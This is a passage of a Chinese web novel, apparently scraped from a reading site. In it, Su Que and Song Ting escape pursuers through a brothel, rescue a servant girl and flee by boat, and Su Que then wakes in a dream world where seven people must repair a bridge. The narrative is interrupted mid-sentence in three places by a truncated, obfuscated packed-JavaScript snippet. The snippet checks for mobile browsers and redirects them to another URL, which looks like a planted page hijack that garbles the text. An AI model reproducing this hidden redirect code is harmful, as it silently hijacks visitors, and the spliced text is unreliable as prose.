苏却反应极快，不等他多说什么，几步挤到他身边，一把抓住他的手腕，用力将他拽着离开，贴墙，入巷，在偏僻之处翻了个墙头，躲进一户人家的小院。 两人紧贴着布满苔藓的石墙，努力放缓急促的呼吸，静静地听着墙外的动静。 几阵“清风”拂过后，外面再没了动静。 苏却这才压低声音，问道：“怎么回事？你怎么出来了？” 宋停惊魂未定，瘫靠在墙壁上，同样压着嗓子道：“我……我听你房里没动静，猜你定是悄悄出门了。我睡不着，又不好直接跟出来，就去隔壁找袁慈邈说话。” 他喘了口气，继续道：“可后来，我准备回自己屋时，我……我感觉我的房门似乎被人开过，我没敢声张，也没敢立刻进去。仔细一听，里面……里面好像有轻微的呼吸声……我心里发毛，觉得留在那里更危险，干脆就跑出来寻你了。” 苏却心中一沉。 如果宋停房间里真的有人，那客栈，也已经不是安全之所。 这群人究竟是何时盯上他们的？ 从文城就跟着来了吗？ 跟踪她的人，和潜入宋停房间的人，是不是一伙的？ 他们的目的，又是什么？ 苏却道：“你觉得他们冲什么来的？” 宋停苦笑一声：“我们两个，要钱财没钱财，要美色……咳，”他顿了顿，声音更低，“我也卖不动。怕是来寻仇的。” “现在我们不知道对方有多少人，身手如何。此地是河阳府，人生地不熟，不宜闹出太大动静。”苏却判断道，“先躲，找机会脱身。你的身体撑得住吗？” 宋停立刻挺直了背脊，坚决道：“你当我是什么病秧子？一点小伤而已，早没事了。” 说罢，他又忽然想起什么，急声问道：“那……那袁慈邈呢？他会不会有危险？我们跑了，他若被那些人盯上……” “他初来乍到，身份清白，与我们也毫无瓜葛。对方的目标若真是我们，在未弄清他与我们的关系前，未必会轻易动他，以免节外生枝。正好，也可借此试一试他自保能力如何。” 她话音刚落，便敏锐地察觉到墙外有衣袍上下动作的声音，看来那人应该早就发现了他们藏身在这附近，已经在上下探找他们了。 既然如此，为何不现身动手？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764848|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只是跟踪，他们到底想得到什么？ 此地不宜久留。 苏却回忆了一下刚才仓促一眼的周围环境。 若要藏身，还是要往人多的地方去。 出了这条巷子再拐两道弯，应该就能重新拐回热闹的沿河街市。那里即使到了这个时辰，依然灯火通明，人流如织。 “走！”她轻声道，抓起宋停的手，从藏身的院子翻出，冲出巷子，径直向着那片灯火辉煌的沿河街市奔去。 果然，那人立刻紧随而至。 苏却的目光快速扫视街边店铺，最终落在了一处张灯结彩，门廊下挂着数盏大红灯笼的二层阁楼前。 牌匾上写着“烟柳阁”三个字。 丝竹管弦之声悠扬地从内传出，混合着男女的调笑声，划拳行令声，空气中弥漫着浓郁的脂粉香气和酒气，非常热闹。 刚进门，一个穿着鲜艳锦缎，风韵犹存的妇人立刻迎了上来。 她满脸堆笑声音甜腻：“哟，二位小哥，好生面嫩，是从哪儿来的贵客呀？快里边请！我们这儿的姑娘最是温柔似水，善解人意，琴棋书画各有精通，保管让二位乘兴而来，尽兴而归。小哥先里面请，喝几杯水酒稍作片刻，暖暖身子，妈妈我这就去给二位安排最可心的人儿。” 她一边说着，一边自然热情地就要伸手挽住苏却的胳膊，半推半就地往那暖香扑鼻的门内带去。 宋停被这阵仗弄得有些手足无措，红着脸忍不住凑到她耳边，低声笑问道：“怎么……苏大捕头第一次来这样的地方吗？” 苏却满脸的生人勿近，闻言，面色一僵。 宋停立刻意识到自己失言，连忙找补：“咳……那个……不瞒你说，我……我也是头一遭进这种地方，今日算是托了苏兄你的福，开了眼界了。” 那鸨母是何等精明的人物，虽未听清他们低语，但见二人神色，只当是年轻面薄，也不说破，只是笑容越发灿烂，动作麻利地将他们引到了二楼一间颇为雅致的厢房内。 房间不大，设施也不华贵，却处处气息旖旎，一张挂着粉色帐幔的卧榻尤为惹眼。 圆桌边，只孤零零地坐着一位姑娘。 那姑娘看起来年纪甚轻，身量未足，穿着一身不太合体，颜色艳俗的衣裙，脸上涂抹着厚厚的脂粉，却难以掩盖稚气与局促不安。 苏却与宋停进来，她无措地站起，偷觑一眼，慌忙垂首，又强迫自己抬起，努力挤出一个带着媚态的笑容，但那笑容生涩，眼神躲闪，双手无处安放，只一个劲儿地绞着衣袖。 场面一时间陷入了沉默和尴尬之中。 苏却面无表情，一直打量着站在桌边的姑娘。 宋停则眼神飘忽，看天、看地、看桌椅，就是不敢看那姑娘，和那张过于醒目的卧榻，脸上的红潮一直蔓延到了耳根脖颈。 最终还是那姑娘先打破了僵局，她怯生生地往前挪了一小步，声音颤抖地解释道：“二……二位客官，实在……实在对不住。今日……今日泊港的商船太多了，来往的客人也多，楼里的姐姐们都……都忙着伺候，实在抽不开身。妈妈……妈妈便让我过来暂时应承……我……我本是负责后院洒扫的粗使丫头，名叫小菊，今日临时充数，若有……若有服侍不周之处，还望……还望客官多多海涵，千万……千万莫要告诉妈妈。” 她说着，眼眶泛红，浓重的眼妆下，能看到那湿漉漉的眼里充满了恐惧、委屈，和认命。 苏却没有多言，直接伸手入怀，掏出一块分量不轻的碎银子，放在圆桌上。 那声音让小菊浑身一颤，以为一切，就要开始了。 “我不需要任何服侍。”苏却开口，“只需要你帮我们准备两套干净不惹眼的衣物。然后，只当我们二人在此留宿了一夜即可。管好你的嘴，这银子，便是你的酬谢。” 小菊闻言，抬起头，难以置信地看着苏却，又看看桌上对于她而言已是巨款的银子。 惊喜与如释重负让她的眼泪如同决堤的河水，混着脸上的脂粉滚落下来。 她噗通一声跪了下来，声音哽咽，忙要磕头，被宋停扶起。 小菊感激道：“多谢二位公子！多谢二位公子！小菊一定办好，绝不会泄露半个字！若有违背，天打雷劈！” 她慌忙用袖子胡乱擦掉眼泪，起身就要去寻衣物。 然而，刚走几步她又顿住，回过头，脸颊涨得通红，为难道：“可是……可是公子……衣服，倒是有，只是这里……只有平日准备给楼里姑娘们换洗的……女装……男子的衣物，实在是……没有……” 苏却：“……” 宋停：“……” 66. 尘世（十一） 尘世（十一） 小菊的动作很快，没过多久便抱着几套皱巴巴的衣物返了回来。 大多是些粗使丫头或是姑娘们平日里穿旧了的衣裳，看着粗糙，洗得发白，尺寸也都偏小。 宋停拎起一条水红色的旧裙在自己身上比画了一下，长度仅及小腿，肩宽更是差了一大截，真要穿上，怕是连胳膊都难以伸展。 好不容易挑了件稍微宽大点的，换上一看，顿时倒抽一口凉气。 这衣裳前面开口开得极低，胸口布料少得可怜，露出一大片胸膛，下摆更是短得发凉，肚脐明目张胆地露在外面。 他何曾穿过这等衣物？ 他手忙脚乱地想拢紧前襟，奈何布料实在有限。 这边遮住了胸口，那边肩头又滑落下来，刚把下摆往下拉了几寸，后背又凉飕飕地漏了风。 偏偏这料子轻飘薄透，他稍一动弹，衣摆便随之晃荡，整个人像朵垂死挣扎的枯花。 宋停面如死灰，刚抬起胳膊想脱下来，就听见“刺啦”一声响，也不知道哪里撕开了。 他顿时僵在原地，一张脸似是烧了起来，再也没了之前失血过多的苍白之态。 不伦不类，着实令人不忍卒睹。 苏却看得眉梢直跳。 小菊躲在床帐边，偷偷捂着嘴笑。 又看到苏却拿着这些衣服往自己身上比试，摇了摇头。 苏却的个子不及宋停那般突出，但也算是高挑的，若硬要穿上这些衣裳，恐怕亦是束手束脚，行动不便，更容易引人注目。 小菊见状，连忙低声道：“二位公子……若是不嫌弃，我会些简单的缝补改衣。” 她说着，便动手扯下床上的床单、床边的帐幔、桌案的铺布，乃至椅凳上的垫布。 “这些都很干净，前几日我刚洗过换上。或许……可以用这些临时改一下，遮住原本的衣衫，只要看着像那么回事，应该就没关系了吧。” 事急从权，也顾不上许多了。 苏却点了点头。 小菊立刻动手。 她将撕下的布条从宋停肩头绕过，在腰间系紧，又和大布块搭配罩在外面，系带束腰。 留意到宋停脖颈处包扎伤口的白色布条太过显眼，她想了想，又扯下一条稍宽的粉布条，小心翼翼地缠在宋停的脖子上，恰好盖住了下面的白布，还打了个漂亮的蝴蝶结。 随后还给宋停整理了头发，梳了个简单的发髻。 期间，苏却已经换好了粗布衣裳，小菊改动了几个较紧的地方，也已经合适了不少，让她看起来像个干练的打手。 苏却看看镜中的自己，差强人意。 打量打量宋停，走几步，转个身…… 嗯，看起来也比刚才正常多了。 一看就知道这是一个个子很高，行动粗笨的人。 宋停自己也相对满意，至少比方才那套水红裙子强出数倍。 小菊压低声音道：“外面现在人正多，客人姑娘们往来穿梭，最是混乱。我可以试着带二位从后院的小门出去，那里靠近堆放杂物和倒泔水的地方，平日少有人走，看守也松。” 然而苏却的目光，落在了这一室狼藉之上。 帐幔被撕扯得支离破碎，残破的布条扔在角落，旧衣服皱成一团，面前的姑娘直到现在眼角都还湿润着…… “小菊。” 苏却开口。 “现在，你眼前有两条路。留下，你继续做你的粗使丫头，维持你的现状。今晚你是因为遇到了我们，之后未必日日如此幸运，或早或晚而已……” “苏却，你这是……”宋停连忙出声阻拦。 苏却一只手挡住宋停，继续道：“离开，你的前面生死未卜，或许是风餐露宿或许是刀山火海，但是如果你想离开……” 她顿了顿，坚定道：“……选吧。” 小菊浑身一震，瘦弱的肩膀颤抖了起来， 但她望向苏却，眸中此刻光彩熠熠，翻涌着对未来的渴望。 “我是被爹娘用两袋黍米卖进来的。在这里，我不是人，是玩意儿，是牲口……可我……我不想烂在这里，不想哪天像前院的姐姐们一样，死了就被草席一卷扔去乱葬岗，连个名字都不会留下。我不想不明不白的，只为了活着而活着……”小菊泣不成声，扑到苏却脚下，“走，我要走，求求公子你带走我，不管前路是什么，是刀山我爬，是火海我跳，只要……只要能让我离开……” “好。” 她既然说出了口，便是要让这女孩的命运从淤泥里连根拔起。 “但不是我带你走。”苏却蹲下身扶起小菊，又拿了一块更大的银子，放在桌上，道，“是你自己，走出去。” 宋停满面惊愕，对苏却此举心下理解，却实难赞同。 毕竟之前答应收留袁慈邈同行，苏却虽答应得快，但他能感觉到她心中是经过权衡利弊的。 可眼前这个小菊，不过是个半大孩子，身无长技，带着她无异于带了个累赘。 当然，宋停相信，以苏却的能力，保护一个小丫头，完全没有任何问题。 他甚至觉得，若有危险，苏却亦能同时扛起他与小菊两人逃命。 但…… 小菊连忙拿出之前苏却给自己的银子，也放在桌子上，然后也赶紧开始换衣服。 苏却拉着宋停避开视线，背着身吩咐道：“小菊，你熟悉路径，避着人，带他从后门走。我会从窗口翻出来，在窗下汇合。若遇险情别硬闯，你们俩就退回房间，以窗口掷物为号。” 待他们离开后，苏却将房间内的圆桌抵在门后，开窗一跃，翻了下去。 所幸，过程比预想得更为顺利。 三人成功汇合后，都暗自松了口气。 “听着，”苏却快速说道，“宋停，你和小菊立刻去码头，寻找最快能出发的船，不管去哪里，越快离开河阳府越好。我回客栈找袁慈邈。我们在之前下船的那个码头汇合。” 宋停点了点头，拉了一把还有些懵懂的小菊，两人低着头，沿着墙快步向码头方向小跑而去。 苏却则是转身向着客栈的方向回去。 一路上，她刻意放慢了脚步，再三确认了自己周围再无人跟着。 她心下稍安，想来经过烟柳阁一番周旋，跟踪者的视线已被扰乱，宋停那边应该也不会引起太大注意。 然而，她刚拐进客栈所在的街巷，那种如猎物被盯紧的感觉，就又慢慢攀上心头。 苏却心下冷笑。 她此刻已换了装束，便模仿着寻常赶路女子的模样，低着头走到客栈门口，伸手轻轻敲了敲已经关闭的大门。 “谁呀？”里面传来伙计睡眼惺忪的声音。 “投宿的。”苏却道。 门吱呀一声开了一条缝，伙计探出头，狐疑地打量了一下这个深夜独自来投宿的姑娘。 苏却不等他多问，塞了碎银子，侧身挤了进去。 她快步上楼，提起拳头从第一间开始捶门，一路捶到袁慈邈房门外。 伙计睡意全无，满脸惊恐地飞奔上楼欲拦住苏却。 “你这臭丫头好粗鲁，大晚上的这是干甚？让不让人睡觉，让不让我们做生意了？” 房门陆续打开，里面的人大多满脸烦躁，骂骂咧咧，伙计点头哈腰一路道歉。 而袁慈邈很快就开了门，脸上带着警惕，显然也没入睡。 见到门外苏却的打扮，先是一愣，随即明了。 他脸色一变，但并未多问，立刻返身拿起早已收拾好的行李，顺便带上苏却宋停的，急匆匆地跟了出来。 两人迅速下楼。 踏出客栈大门的刹那，苏却清晰地感到，暗处有多道目光已牢牢锁定了他们。 她对袁慈邈低语：“分开走。你往左，穿过前面那条街直接去下船的那个码头，找宋停他们会合，我去引开他们。” “好，当心。”袁慈邈咬了咬牙，立刻转身离开。 苏却故意显露行迹，脚步时疾时徐，有意将追踪者引往他处。 不出所料，这些人的目标，正是她。 在穿过一条窄巷后，苏却拐入一个角落。 脚步声迅速逼近，即将掠过巷口的刹那，苏却从死角中扑出，胳膊紧紧钳住来人的脖子，要将他拖进黑暗之中。 那人显然没料到苏却竟敢反身偷袭，慌忙挣扎抵抗。 然而就在这时，另一道劲风自身侧袭来。 苏却侧身避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773358|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过，随手抽出腰间利刃顺势划向第一个人的肋下，迫使其踉跄后退。 后来者身手不弱，招式狠辣，一接触就知道是经过专门训练的好手。但他目的明确，只为了掩护第一人，撤退离开。 黑暗中，拳脚相交之声不断。 苏却虽是以一敌二，却丝毫不落下风。 然那二人无心恋战，苏却偏又缠斗极紧，不留神间身上已添多处伤口，打起来手感黏腻，却依然无法脱身。 巷口有打更的叫喊声传来。 苏却一分神，二人瞅准时机虚晃一招，转身便遁入黑暗。 她亦不再追，转身便向码头飞奔而去。 当她赶到码头时，远远便看到宋停、小菊和袁慈邈三人已成功汇合，正焦急地等在约定地点张望。 宋停眼尖，立刻看到了她。 四人迅速登船。 小菊一上船，便在前头带路，低声道：“跟我来！” 她带着三人，一个劲儿地往拥挤的船舱里钻，穿过堆满行李和货物的底舱，又经过一片恶臭扑鼻的休息区域，最后在一个堆放杂货的角落里蹲了下来。 “先别动，等等。” 等船身开始传来晃动，缆绳被解开，即将起航的前一刻，小菊才站起身对他们道：“快！下船！” 四人又迅速从另一侧离开了这艘即将离港的船。 小菊立刻带着他们穿过码头，径直登上了旁边另一艘看起来更旧更小的船。 直到这艘船也解缆启航，缓缓驶离河岸后，小菊才长长地舒了一口气，抹了把额角的汗，解释道：“我也不是河阳府人，爹娘都是船上的船工，养不起弟弟，才把我卖了。你们看，这样做，甩开的差距就很大了，就算他们发现我们上了第一艘船，等他们反应过来，船已经开出去一段了，再想找我们可就没那么容易了。” 苏却站在船边，只见他们最初登上的那艘船船尾，正站着几个身着暗色劲装四处张望的汉子。 而在渐渐远去的码头上，也有一伙人正在焦急地四处张望。 为首的那人，衣衫褴褛，头发花白 正是客栈门口的那个老乞丐。 此刻，他还没来得及换下那身肮脏不堪的行头，但再无半分醉意。 苏却心中一阵后怕。 这老乞丐是故意的。 他看似不经意，实则极为刻意地出现在她面前，用疯言疯语为饵，引她上钩前去打听。 而她，竟真的踏入了陷阱，中计了。 看来自己的推测没有错。这些人的确是从文城就开始盯上自己了，一路尾随至此，布下了这个局。 突然，她感觉到有布料擦过自己的耳边。 侧头一看，是宋停脖子上那个粉色蝴蝶结。 不知何时，他已站到了她的身边，望着沿岸缓缓退去的夜色，问道：“在想什么？” 苏却望着两岸的灯火和漆黑的江面，叹了口气：“我在可惜，刚到河阳府，就要连夜匆匆离开。” 宋停闻言，轻轻笑了一声，道：“这何尝不是一件好事？你以为，在他们的地盘上，在他们的眼皮子底下，你真能查出什么有用的东西吗？只怕是寸步难行。” 苏却默然片刻，微微一笑道：“你说得对。” 她目光转向一脸兴奋地和袁慈邈说话的小菊，夸道：“这次多亏了小菊机灵。” 江风渐疾，吹得宋停发髻松散。他乱糟糟地抓了几下头发，那身左缠右绑的衣物也已七零八落。 小菊连忙上前帮他整理头发。 袁慈邈笑着，帮他去问船上的人是否可以借一套或买一件应急。 苏却听着水波声，望着茫茫前路，忽然问道：“那艘船，目的地是什么地方？” 宋停答道：“往东，顺着文江主干直下，最终是要入海的。据说要离开国境，下一次靠岸补给，恐怕是几个月之后的事情了。” 旁边的小菊听了，高兴地道：“那就好，那坏人就再也追不到我们了。” 苏却点了点头，继续问道：“那我们这艘的目的地，是什么地方？” 宋停看着她被江风吹拂的侧脸，缓缓道：“往西北逆流而上。船家说，如果顺利，下一次靠岸大约是一个月后，玉江府。” 67. 过桥（一） 过桥（一） 于混混沌沌中，苏却睁开双眼。 眼前不再是船舱低矮的顶板。 她此刻正躺在一片无比熟悉的黑暗中，浑身上下泛着疲惫与虚无。 心中默算了一下时日，自从上次离开修明书院，再到此刻，正好过去了二十天。 叶别风曾经说过，大约每二十几天到一个月左右，便会在睡梦中来到这诡闻世界一次。 此话果然不假。 现实中的他们，现在仍在前往玉江府的客船上。 船家道此行甚是顺遂，虽是逆流，行程却较预想快了许多，约莫再有三四日便可抵达玉江府码头。 所以自第十五六日起，苏却便开始反复叮嘱宋停，此次她若再陷入沉睡进入诡闻世界，他绝不可如以往几次那般轻举妄动，绝对不可有任何寻死觅活的行为，甚至念头。 如今随行之人多了袁慈邈和小菊，诚然有些事情并瞒不住，若她沉睡之际外界生变，自己无暇他顾，而宋停再陷性命之危，局面便将极为被动，难以收拾。 宋停虽嘴上不情不愿，但每晚临睡前，总会提醒她，到了玉江府没几日便要过年了，让她一定要平平安安地回来。 行船期间，袁慈邈似乎也很沉地睡过去一次。 不过他和苏却之前一样，醒来后什么都不记得。 苏却见得多了，心中明了，能活着醒来，已是万幸。 收回心绪，苏却从冰冷潮湿的地面上坐起，迅速适应了周遭的昏暗。 这次的情况，说是与以往相似，但实际也有不同。 譬如前方那唯一的光源，微微晃动，泛着橘红，似是篝火火把一类，而非客栈灯火。 她站起身，朝着那光亮处走去。 脚下的路面由原先的平坦，慢慢变得坚硬崎岖，坑洼不平。 愈是靠近，脚下岩石便愈显嶙峋，大者尖锐，小者细碎，甚至还有长着苔藓的，故而行走不快，只得摸索缓行。 耳边，除了自己的脚步声，也能听到不远处传来的流水声，似乎附近有河流。 再近些，眼前的景象才彻底清晰。 一个巨大的山洞入口前燃着一堆篝火，发出噼啪的轻响，驱散着周围的黑暗。 篝火边搭着几个简陋的棚子，就倚靠在山洞边的山体上，用料是些粗细不一的树枝和破烂的油布，勉强能遮风避雨。 隐约间，还能听到草丛里窸窣的虫鸣。 此地的季节显然与现实不同。 山林间的夜风虽然有些凉，但和冬日寒风相比，这一丝春夏之时的潮气根本算不得什么。 篝火边，只有两个半大的孩子。 一个看起来十三四岁的女孩，正蹲在火边，正试图从燃烧的柴堆里抽出一根燃着火焰的木条。 另一个年纪相仿的男孩则蹲在旁边，双手托着下巴，饶有兴致地看着女孩的动作，也不动手帮忙，似乎还有几分看好戏的感觉。 这两个孩子装扮都差不多，头发胡乱地用草茎束着，穿着粗布短褐，裤腿挽到小腿肚，脚上是一双粗糙简陋的草鞋。 他们看起来就与农家里那些爱惹事整日调皮捣蛋，但是干活时手脚利落的孩子差不多。 若不是苏却看得仔细，那女孩的装扮与动作看起来与蹲在旁边的男孩并没什么分别。 这时，女孩成功抽出了木条，火才烧到前端，她横拿，火苗在她手中跳跃，映亮了她通红的脸。 她举着这根火把，开始绕着篝火和棚子转悠起来，这里照照，那里看看。 虽然行动略有冒失，但苏却借着这移动的火光，得以观察四周的环境。 他们确实身处野外，而且相对于其他地方来说，篝火与棚子都已经处于相对平坦的地方了，旁边乱石嶙峋，还有齐腰高的草丛。 苏却摸索过来的一路，竟然还算是好走的一条道了。 举着火把的女孩很快发现了站在阴影边缘的苏却。 她脚步一顿，随即大步走了过来，将手中燃烧的木条往前一横，火苗几乎要蹿到苏却脸上。 她的声音不似寻常女孩清脆，反带几分沙哑：“喂！你是谁？叫什么名字？哪里人？知道这里是哪里不？你来这儿有什么目的？” 问题如连珠炮般而来。 那男孩也立刻跟了过来，绕着苏却转了两圈，不怀好意地上下打量着。 苏却的脸向后移了几分，避开火苗，扫了二人一眼，便径直从他们身侧走过，至篝火旁寻了块平整大石坐下。 “苏却，是个捕头。”她回答道。 男孩闻言，连忙笑嘻嘻地凑到苏却旁边，也找了块石头坐下，歪着头道：“你这么年轻，开口竟敢说自己是捕头？别是唬我们的吧？” 他语气轻松，眼睛却滴溜溜地转。 还在说着话，竟突然伸手，朝着苏却搁在膝上的手腕抓来。 苏却甚至没有抬眼，在那只手即将触碰到她手的刹那，将自己的手向胸前一收，两个膝盖一分，男孩直接扑了个空。 他反应过来还想继续去抓的时候，却被苏却捏住手往反方向一扭。 “啊呀呀呀呀，疼疼疼，松手松手。”男孩吃痛叫起来。 苏却便松开了。 可他依旧不老实还想继续试探，另一只手从他身侧袭来。 苏却抓住他的胳膊，在肘部附近的穴位弹按了两下，男孩只觉手臂一阵酸胀酥麻，暂时动弹不得。 随即苏却屈指，在男孩脑门上不轻不重地一叩，算是告诫。 男孩脸上嬉笑的神色顿时僵住，甩了甩有些发麻的手，非但不恼，眼睛反而更亮了。 旁边的女孩不服气地哼了一声，将火把扔回篝火堆里，抱着胳膊看向苏却：“就算你身手好，是真捕头，又如何？不也一样莫名其妙困在这鬼地方，看样子也出不去，有什么好得意的？” “你这么厉害，要不当我师父吧？”那男孩则兴冲冲地又凑近了些，几乎挨着苏却坐在地上，脸上堆起笑容：“这位……捕头大人？您贵姓啊？我叫汪乐安，认识的人都叫我安子，也算是走南闯北见过点世面的。” 他见苏却面无表情，连忙改口：“要是不愿意当师父也不打紧，我看咱俩年纪相差不大，拜个把子也行啊。以后有福同享，有难同当！” 苏却侧过头，淡淡地瞥了他一眼。 “嘿，你这人，怎么……” 汪乐安刚想发作，旁边又有人摸索着过来了。 走来的是一个中年男子，约莫四十上下，皮肤黝黑，身形不高，但粗壮结实，几步走来沉稳有力，一看便是干惯了力气活的好手。 另一边，则走来一个女子，年纪约莫二十五六，也是农家劳作女子的打扮，深色衣裙，袖口挽起，眼神清亮，行动间透着一股利落劲儿。 苏却一直留意别人，这时也低头看了看自己，发现不知何时，自己也换上了一身颜色灰扑扑的衣物，脚上是一双半旧的草鞋。 这装扮，倒像是个搬货造屋修路筑桥的民夫。 不多时，又从另外两个方向陆续走来两名男子。 两人年纪看起来与苏却差不多。 一人抬头挺胸，神色中有几分傲慢，但衣服上左一块黑右一块绿，还有撕破的地方，显然是过来之时摔了一跤。 另一人则面容愁苦，有些沉默。 他们各自在篝火边找了木桩或平整的石头，坐下，正好将篝火围了一圈，位置不多不少，如同早已安排好一般。 众人刚刚坐定，还没来得及互相交谈询问，一阵的脚步声自山洞方向传来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803137|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 众人循声望去，只见那个穿着长衫身形瘦高的男人，从旁边的黑暗里走了出来。 正是那位客栈的掌柜。 他手里提着一盏灯笼，灯光映着他似笑非笑的脸。 “人齐了。” 短短三字，让篝火旁所有人都屏住了呼吸。 掌柜环视在场所有人，道：“此番召诸位前来，是为修桥。” “什么？修桥？”女孩满脸惊疑，忍不住问道。 掌柜置若罔闻，继续道：“此地名为断龙涧。月前连降暴雨七七四十九日，山洪如龙，将原有桥梁冲垮。可此桥乃连通内外之咽喉，是通往山外唯一途径，商旅往来，粮盐输送皆赖于此。而今洪水虽退，但此桥依旧破损，七日后，若桥未能修复如初……” 他顿了一顿：“山中居民将困于此地，内外永隔。” “……”众人沉默。 掌柜嘴角一提，道：“往后七日，此地便是诸位歇脚之处。一日三餐自有供给，修桥器具也一应提供，如还有其他需要，也可以来寻我。” 接着他依次介绍了寿命兑换的物品，每说一项，他都会停顿片刻，似是给众人消化时间。 篝火旁有人脸色发白，有人眉头紧锁。 掌柜继续介绍道：“每日劳作自卯时始，酉时止。期间如何分工，如何修筑，皆由诸位自行定夺。诸位命筹以每日工钱结算，每日劳作归来后发放，排名末位会有末位之祸，望诸位慎之重之，诸劫可破。” 话音落下，他不再多言，提着灯笼转身，朝着黑暗深处走去，光点越来越远，最终被黑暗完全吞没。 篝火旁陷入死寂。只有柴火燃烧的噼啪声和远处潺潺水流声。 听完这一席话，在场几人都有些发愣。 劳工？修桥？ 女孩反应半天后，才回过神来冲着掌柜离开的方向大叫：“回来，你把话说清楚，什么寿命什么末位，都是什么意思？修什么桥……什么桥……桥……桥？” 她的声音激起层层回音，却无人回应。 已经对此事有经历的人，脸上虽也有凝重，却更多是戒备与思索。 彼此间目光短暂接触，又移开，再对视，客气而客套地开始低声与身旁的人试探着交谈。 那位农家女打扮的女子此时站起身，拍了拍衣角灰尘，目光在众人脸上转了一圈。 她微微一笑，向苏却走了过来，在旁边一块小石头上坐下，主动招呼道：“这位公子，我姓罗，名潇苇。如不见外，你可以直接可以叫我潇苇。请问我应该如何称呼你？” 苏却抬眼看她。 这女子眼神清正，笑容坦然，虽穿着粗布衣服，言谈举止却十分从容。 “苏却。”她简单答道。 “苏公子有礼了。”罗潇苇点头，“我见苏公子身姿挺拔，目光沉静，又寡言少语，” 她说着，瞥了一眼原先坐在她附近，此刻正对着另一位男子滔滔不绝的年轻男子，道：“想来应是行事稳妥之人，比某些浮躁傲慢之辈，瞧着可靠许多。” 苏却闻言，神色未变，直接道：“多谢。可我不与他人合作。” 罗潇苇并不意外，脸上笑容反而加深，：“无妨。我所求也非结盟，不过是希望彼此间莫要无故相害，若能偶尔交换个消息，提个醒，说几句关心的话，茫然之时，也算有个伴，不至于太过孤立无援。苏公子以为呢？” 苏却沉默着，没有立刻接话。 罗潇苇观察着她的神色，忽然压低声音，悄声道：“而且，苏公子，我觉得……你或许，会对我感兴趣。” “哦？为何？”苏却问道。 罗潇苇身体微微前倾，附在苏却耳畔，一字一句道：“因为这个地方，我认识。在现实之中，我曾经来过。” 68. 过桥（二） 过桥（二） 罗潇苇说完，便回身坐正了身子，随手从地上捡了根枯树枝，有一下没一下地拨弄着面前的火堆。 火星子随着她的动作溅起，在夜色中闪烁一瞬便熄灭。 苏却瞧着她唇角那抹若有似无的弧度，心中确实被勾起了几分好奇。 从之前的几次经历中，她已察觉到诡闻世界与现实之间存在着千丝万缕的关联。 作为贡品的吞金神蟾，与现实一模一样的年号，可能与陈年旧案相关的书院，还和一本名为《诡闻录》的书册密不可分。 若罗潇苇并非为了博取关注换取信任而故意编造谎言，那她所说的话，便几乎能印证苏却的一个猜测。 《诡闻录》中记载的事件，大抵是记录了各地真实发生过的悬案、灾异或传闻，以此为蓝本，并加以编纂而成。 较她先前所料，又具体了几分。 可既然事情都曾经发生过，为什么又要让他们进入，再参与一遍呢？ 况且，保不齐这就是罗潇苇一直以来用于自保的一个噱头。 用一个看似重磅的线索作为噱头，吸引他人注意乃至合作，在危机四伏中为自己增添一份筹码。 七人，七天。 人数不算多。 修桥。 任务简单，也看似明确。 苏却心中存疑，却也不敢掉以轻心。 眼下也只能且行且看。 这次虽不在客栈之内，但掌柜依然还在，为他们提供了这简陋的栖身之所。 寿命兑换与命筹排序的规则也一仍旧贯。 只是环境实在粗陋，篝火驱不散山涧夜寒，硬石硌得人生疼。 众人显然都没什么睡意，围在渐弱的火堆边，有一搭没一搭地闲谈着，原先的防备与试探，渐渐松了一些。 除了已知姓名的汪乐安和罗潇苇，经过一番交谈，苏却也知晓了其余几人的名字。 那中年壮汉名唤齐广济，声音沉厚，为人看着比较淳朴。 摔了一跤的男子自称高千凡。 满面苦相惴惴不安的男子叫江文新。 而那如假小子般的女孩，名叫杜以柔，名与形反差颇大。 众人介绍时大多语焉不详，唯有高千凡颇为自得地提及家中父兄皆在朝为官，自言幼时饱读诗书，聪颖过人。 怪不得罗潇苇方才言语间对高千凡流露出不信任。 此人确有些得意忘形，滔滔不绝地诉说着自己绝不该干此等贱役，家中何等显赫，自己何等受看重…… 着实聒噪。 苏却听得耳朵发疼。 她不再多留，起身离开篝火，走向身后那几个破旧棚子。 这棚子搭得歪斜潦草，几根粗细不一的木棍插入地面，撑起一个勉强能容人进入的空间。顶上胡乱盖着几层不知从何处寻来的破烂油布，边缘参差不齐，夜风一吹便哗啦作响，仿佛下一刻就要散架。 棚口连个帘子都没有，黑洞洞地敞着。 苏却弯腰钻了进去。 棚内空间狭小，仅容一人躺卧。 靠里的位置铺着一张用竹板拼成的床榻，床上既无枕头，也无被褥，只摊着一层薄薄的干草。 一支短小的蜡烛，用滴落的蜡油粘着，立在棚子支柱上的小木托里，最多还能燃小半个时辰。 